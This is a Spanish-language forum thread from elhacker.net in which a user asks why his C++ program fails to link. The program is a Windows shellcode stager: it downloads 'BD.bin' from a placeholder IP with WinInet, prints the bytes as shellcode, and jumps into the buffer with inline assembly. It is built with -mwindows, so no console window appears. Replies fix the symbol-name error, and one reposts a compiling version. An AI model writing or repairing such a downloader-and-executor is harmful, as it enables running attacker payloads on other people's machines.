elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  Ayuda con codigo ? C++ error al compilar, al compilar recibo errores (id turned 1 exit estatus) y..
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Ayuda con codigo ? C++ error al compilar, al compilar recibo errores (id turned 1 exit estatus) y..  (Leído 473 veces)
DonJuanPinorio

Desconectado Desconectado

Mensajes: 2


Ver Perfil
Ayuda con codigo ? C++ error al compilar, al compilar recibo errores (id turned 1 exit estatus) y..
« en: 9 Febrero 2021, 15:00 pm »

 C++ error al compilar, al compilar recibo errores (id turned 1 exit estatus) y (recipe for target 'BD.exe' failed) (BD.cpp:(.text+0x16d): undefined reference to `_DataReceived')

Código
  1. #include <windows.h>
  2. #include<iostream>
  3. #include<cstring>
  4. #include<Wininet.h>
  5. using namespace std;
  6.  
  7. unsigned char DataReceived[500];
  8. int main(){
  9. int i;
  10.  
  11. HINTERNET connect = InternetOpen("MyBrowser",INTERNET_OPEN_TYPE_PRECONFIG,NULL, NULL, 0);
  12.  
  13. if(!connect){
  14. cout<<"Connection Failed or Syntax error";
  15. return 0;
  16. }
  17.  
  18. HINTERNET OpenAddress = InternetOpenUrl(connect,"http://(tu ip aqui)/share/BD.bin", NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE|INTERNET_FLAG_KEEP_CONNECTION, 0);
  19.  
  20.  
  21. if ( !OpenAddress )
  22. {
  23. DWORD ErrorNum = GetLastError();
  24. cout<<"Failed to open URL \nError No: "<<ErrorNum;
  25. InternetCloseHandle(connect);
  26. return 0;
  27. }
  28.  
  29. DWORD NumberOfBytesRead = 0;
  30.  
  31.  
  32. while(InternetReadFile(OpenAddress, DataReceived, 4096, &NumberOfBytesRead) && NumberOfBytesRead )
  33. {
  34.  
  35. for(i=0;i<sizeof DataReceived; i++ ){
  36.  
  37. printf("\\x%02x",DataReceived[i]);
  38.  
  39. }
  40.  
  41. __asm ("lea _DataReceived, %rax");
  42. __asm ("push %rax");
  43. __asm ("ret");
  44. }
  45.  
  46. InternetCloseHandle(OpenAddress);
  47. InternetCloseHandle(connect);
  48.  
  49. return 0;
  50. }


//////////////////////////////////////////////////////////////////////////////////////////
Este es el archivo que se crea del codigo anterior pero me da error en la linea 25 (recipe for target 'BD.exe' failed)

Código:
# Project: BD
# Makefile created by Dev-C++ 5.11

CPP      = g++.exe
CC       = gcc.exe
WINDRES  = windres.exe
OBJ      = BD.o
LINKOBJ  = BD.o
LIBS     = -L"C:/Program Files (x86)/Dev-Cpp/MinGW64/lib" -L"C:/Program Files (x86)/Dev-Cpp/MinGW64/x86_64-w64-mingw32/lib" -static-libgcc -mwindows -lwininet
INCS     = -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/include" -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/x86_64-w64-mingw32/include" -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/lib/gcc/x86_64-w64-mingw32/4.9.2/include"
CXXINCS  = -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/include" -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/x86_64-w64-mingw32/include" -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/lib/gcc/x86_64-w64-mingw32/4.9.2/include" -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/lib/gcc/x86_64-w64-mingw32/4.9.2/include/c++"
BIN      = BD.exe
CXXFLAGS = $(CXXINCS)
CFLAGS   = $(INCS)
RM       = rm.exe -f

.PHONY: all all-before all-after clean clean-custom

all: all-before $(BIN) all-after

clean: clean-custom
${RM} $(OBJ) $(BIN)

$(BIN): $(OBJ)
$(CPP) $(LINKOBJ) -o $(BIN) $(LIBS)

BD.o: BD.cpp
$(CPP) -c BD.cpp -o BD.o $(CXXFLAGS)


MOD: El código debe ir entre etiquetas de Código GeSHi


« Última modificación: 9 Febrero 2021, 16:01 pm por K-YreX » En línea

marax

Desconectado Desconectado

Mensajes: 189


Women; an alias for "Fully-automatic weapon."


Ver Perfil
Re: Ayuda con codigo ? C++ error al compilar, al compilar recibo errores (id turned 1 exit estatus) y..
« Respuesta #1 en: 9 Febrero 2021, 16:58 pm »

En el ASM integrado estas poniendo:

Código
  1. __asm ("lea _DataReceived, %rax");

El bufer lo habias llamado DataReceived, ¿No? No _DataReceived

Cambia la linea 41 por:

Código
  1. __asm ("lea DataReceived, %rax");


En línea

"Durante diez años has venido a mi cueva: estarías harto de tu luz y de este camino sin mí, sin mi águila y sin mi serpiente."
BloodSharp


Desconectado Desconectado

Mensajes: 577


Crianosfera 5 in comming!!!


Ver Perfil
Re: Ayuda con codigo ? C++ error al compilar, al compilar recibo errores (id turned 1 exit estatus) y..
« Respuesta #2 en: 9 Febrero 2021, 17:39 pm »

C++ error al compilar, al compilar recibo errores (id turned 1 exit estatus) y (recipe for target 'BD.exe' failed) (BD.cpp:(.text+0x16d): undefined reference to `_DataReceived')

Código
  1. extern "C" unsigned char DataReceived[500];

El bufer lo habias llamado DataReceived, ¿No? No _DataReceived

Ese no es el problema, el problema es que no lo declaró como para ser utilizado sin "decorado"...


B#
En línea



EdePC
Colaborador
***
Desconectado Desconectado

Mensajes: 1.640



Ver Perfil
Re: Ayuda con codigo ? C++ error al compilar, al compilar recibo errores (id turned 1 exit estatus) y..
« Respuesta #3 en: 9 Febrero 2021, 17:54 pm »

MinGW no se hace problemas, lo compila y ejecuta normal:

Código
  1. #include <windows.h>
  2. #include <iostream>
  3. #include <cstring>
  4. #include <Wininet.h>
  5. using namespace std;
  6.  
  7. unsigned char DataReceived[500];
  8.  
  9. int main() {
  10.  int i;
  11.  HINTERNET connect = InternetOpen("MyBrowser",INTERNET_OPEN_TYPE_PRECONFIG,NULL, NULL, 0);
  12.  
  13.  if (!connect) {
  14.    cout << "Connection Failed or Syntax error";
  15.    return 0;
  16.  }
  17.  
  18.  HINTERNET OpenAddress = InternetOpenUrl(connect,"http://example.com", NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE|INTERNET_FLAG_KEEP_CONNECTION, 0);
  19.  
  20.  if ( !OpenAddress ) {
  21.    DWORD ErrorNum = GetLastError();
  22.    cout << "Failed to open URL \nError No: " << ErrorNum;
  23.    InternetCloseHandle(connect);
  24.    return 0;
  25.  }
  26.  
  27.  DWORD NumberOfBytesRead = 0;
  28.  
  29.  while ( InternetReadFile(OpenAddress, DataReceived, 4096, &NumberOfBytesRead) && NumberOfBytesRead ) {
  30.  
  31.    for ( i = 0; i < sizeof DataReceived; i++ ) {
  32.      printf("\\x%02x",DataReceived[i]);
  33.    }
  34.  
  35.    __asm ("lea _DataReceived, %eax");
  36.    __asm ("push %eax");
  37.    __asm ("ret");
  38.  }
  39.  
  40.  InternetCloseHandle(OpenAddress);
  41.  InternetCloseHandle(connect);
  42.  
  43.  return 0;
  44. }

Código
  1. g++ -g bd.cpp -lwininet -static



De todas maneras le voy a dar una leída a los decorados y eso, ya que recién me entero que se podía meter ASM en C++ XD, en ningún libro que he leído lo mencionaba.
En línea

marax

Desconectado Desconectado

Mensajes: 189


Women; an alias for "Fully-automatic weapon."


Ver Perfil
Re: Ayuda con codigo ? C++ error al compilar, al compilar recibo errores (id turned 1 exit estatus) y..
« Respuesta #4 en: 9 Febrero 2021, 19:02 pm »

Ese no es el problema, el problema es que no lo declaró como para ser utilizado sin "decorado"...

Pero ¿No depende el decorado del compilador?
Para serte sincero, poca idea tenia del uso correcto de extern "C". Recuerdo que la primera vez que lo lei quede mas confundido que un perro delante de un espejo.
¿Entonces su unica funcion es suprimir el decorado?

Gracias por la correccion.
Saludos.



Estaba leyendo esto y parece que si... caramba cuanto tiempo sin volver a intentar entenderlo... la ultima vez era bastante mas pequeño. Bueno, y ¿Que tiene que ver eso en su problema? Aun sin mangling el nombre sigue siendo _DataReceived mientras el especifico DataReceived en su programa, ¿No?
« Última modificación: 9 Febrero 2021, 19:08 pm por marax » En línea

"Durante diez años has venido a mi cueva: estarías harto de tu luz y de este camino sin mí, sin mi águila y sin mi serpiente."
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines